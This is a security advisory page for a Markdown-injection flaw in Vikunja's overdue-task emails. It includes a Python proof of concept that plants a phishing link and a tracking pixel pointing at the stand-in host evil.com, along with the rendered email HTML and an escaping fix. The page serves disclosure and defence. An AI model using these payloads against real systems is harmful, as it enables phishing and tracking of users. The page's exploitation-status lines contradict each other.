Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-45q4-x4r9-8fqj
No affected components available
Summary
Task titles are embedded directly into Markdown link syntax in overdue email notifications without escaping Markdown special characters. When rendered by goldmark and sanitized by bluemonday (which allows <a> and <img> tags), injected Markdown constructs produce phishing links and tracking pixels in legitimate notification emails.
Details
The overdue task notification at pkg/models/notifications.go:360 constructs a Markdown list entry:
overdueLine += `* [` + task.Title + `](` + config.ServicePublicURL.GetString() + "tasks/" + strconv.FormatInt(task.ID, 10) + `) ...`
The task title is placed inside Markdown link syntax [TITLE](URL). A title containing ] and [ breaks the link structure. The assembled Markdown is converted to HTML by goldmark at pkg/notifications/mail_render.go:214, then sanitized by bluemonday's UGCPolicy. Since UGCPolicy intentionally allows <a href> and <img src> with http/https URLs, the injected links and images survive sanitization and reach the email recipient.
The same pattern affects multiple notification types at notifications.go lines 72, 176, 227, and 318.
Proof of Concept
Tested on Vikunja v2.2.2 with SMTP enabled (MailHog as sink).
import requests
TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"
token = requests.post(f"{API}/login",
json={"username": "alice", "password": "Alice1234!"}).json()["token"]
h = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
proj = requests.put(f"{API}/projects", headers=h, json={"title": "Shared"}).json()
# create task with markdown injection in title + past due date
requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h, json={
"title": 'test](https://evil.com) [Click to verify your account',
"due_date": "2026-03-26T00:00:00Z"})
# create task with tracking pixel injection
requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h, json={
"title": '',
"due_date": "2026-03-26T00:00:00Z"})
# enable overdue reminders for the user
requests.post(f"{API}/user/settings/general", headers=h, json={
"email_reminders_enabled": True,
"overdue_tasks_reminders_enabled": True,
"overdue_tasks_reminders_time": "09:00"})
# wait for the overdue notification cron to fire, then inspect the email
The overdue notification email HTML contains:
<li>
<a href="https://evil.com">test</a>
<a href="http://vikunja.example/tasks/5">Click to verify your account</a>
(Shared), since one day
</li>
<li>
<a href="http://vikunja.example/tasks/6">
<img src="https://evil.com/track.png?user=bob">
</a>
(Shared), since one day
</li>
The attacker's evil.com link appears as a clickable link in a legitimate Vikunja notification email. The tracking pixel loads when the email is opened.
Impact
An attacker with write access to a shared project can craft task titles that inject phishing links or tracking images into overdue email notifications sent to other project members. Because these links appear within legitimate Vikunja notification emails from the configured SMTP server, recipients are more likely to trust and click them.
Recommended Fix
Escape Markdown special characters in task titles before embedding them in Markdown content:
func escapeMarkdown(s string) string {
replacer := strings.NewReplacer(
"[", "\\[", "]", "\\]",
"(", "\\(", ")", "\\)",
"!", "\\!", "`", "\\`",
"*", "\\*", "_", "\\_",
"#", "\\#",
)
return replacer.Replace(s)
}
Found and reported by aisafe.io
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. The attacker needs the user to perform some action, like clicking a link. The vulnerability can affect other systems as well, not just the initial system. There is a low impact on the confidentiality of the information. There is a low impact on the integrity of the data.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard